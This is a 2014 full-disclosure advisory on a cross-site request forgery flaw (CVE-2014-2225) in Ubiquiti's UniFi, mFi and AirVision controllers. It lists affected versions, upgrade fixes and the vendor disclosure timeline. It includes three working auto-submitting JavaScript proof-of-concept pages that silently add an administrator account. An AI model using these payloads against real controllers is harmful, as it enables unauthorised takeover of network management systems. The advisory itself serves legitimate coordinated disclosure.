full-disclosure - [FD] CVE-2014-2225: Ubiquiti Networks - Multiple products - Cross-site Request Forgery (CSRF)

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Date: Wed, 23 Jul 2014 23:58:54 -0400
From: Seth Art <sethsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2014-2225: Ubiquiti Networks - Multiple products -
 Cross-site Request Forgery (CSRF)

-----------
Vendor:
-----------
Ubiquiti Networks (http://www.ubnt.com/)

-----------------------------------------
Affected Products/Versions:
-----------------------------------------
UniFi Controller v2.4.6
mFi Controller v2.0.15
AirVision Controller v2.1.3
Note: Previous versions may be affected

-----------------
Description:
-----------------
Title: Cross-site Request Forgery (CSRF)
CVE: CVE-2014-2225
CWE: http://cwe.mitre.org/data/definitions/352.html
Detailed writeup: http://sethsec.blogspot.com/2014/07/cve-2014-2225.html
Researcher: Seth Art - @sethsec

---------------
UniFi POC:
---------------

<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:8443/api/add/admin"
var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D"

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded;
charset=UTF-8");
xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">
</body>

-------------
mFi POC:
-------------
<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:6443/api/v1.0/add/admin"
var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D"

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded;
charset=UTF-8");
xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">
</body>

--------------------
AirVision POC:
--------------------
<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:7443/api/v2.0/admin"
var post_data="{\”name\”:\”csrf\”,\”email\”:\”csrf@...il.com\”,\”userGroup:\”:\”admin\”,\”x_password\”:\”password\”,\”confirmPassword\”:\”password\”,\”disabled\”:\”false\”}”

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/plain; charset=UTF-8");
xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">
</body>

-------------
Solution:
-------------
UniFi Controller - Upgrade to UniFi Controller v3.2.1 or greater
mFi Controller - Upgrade to mFi Controller v2.0.24 or greater
AirVision Controller - Upgrade to UniFi Video v3.0.1 or greater (Note:
The application name changed from AirVision to UniFi Video)

-----------------------------
Disclosure Timeline:
-----------------------------
2014-02-16: Notified Ubiquiti of vulnerabilities in UniFi and mFi products
2014-02-17: Ubiquiti acknowledges and requests details
2014-02-17: Report with POC sent to Ubiquiti
2014-02-19: Asked Ubiquiti to confirm receipt of report
2014-02-19: Ubiquti confirms receipt of report and existence of the
vulnerabilities
2014-02-25: Notified Ubiquiti of CSRF vulnerability in AirVision product
2014-02-19: Ubiquti confirms receipt of AirVision report and existence
of the vulnerability
2014-02-28: CVE-2014-2225 assigned
2014-03-12: Requested status update
2014-03-27: Requested status update
2014-04-07: Requested status update, mention that we might need to
bring in a CERT
2014-04-09: Ubiquiti provides timeline for solution
2014-04-18: UniFi Video 3.0.1 is released
2014-05-30: Requested a status update on the remaining two products
2014-06-12: Requested a status update on the remaining two products
2014-06-12: mFi v2.0.24 and UniFi 3.2.1 are released
2014-06-13: Set public disclosure date of 2014-07-24 and notified vendor
2014-07-24: Public disclosure

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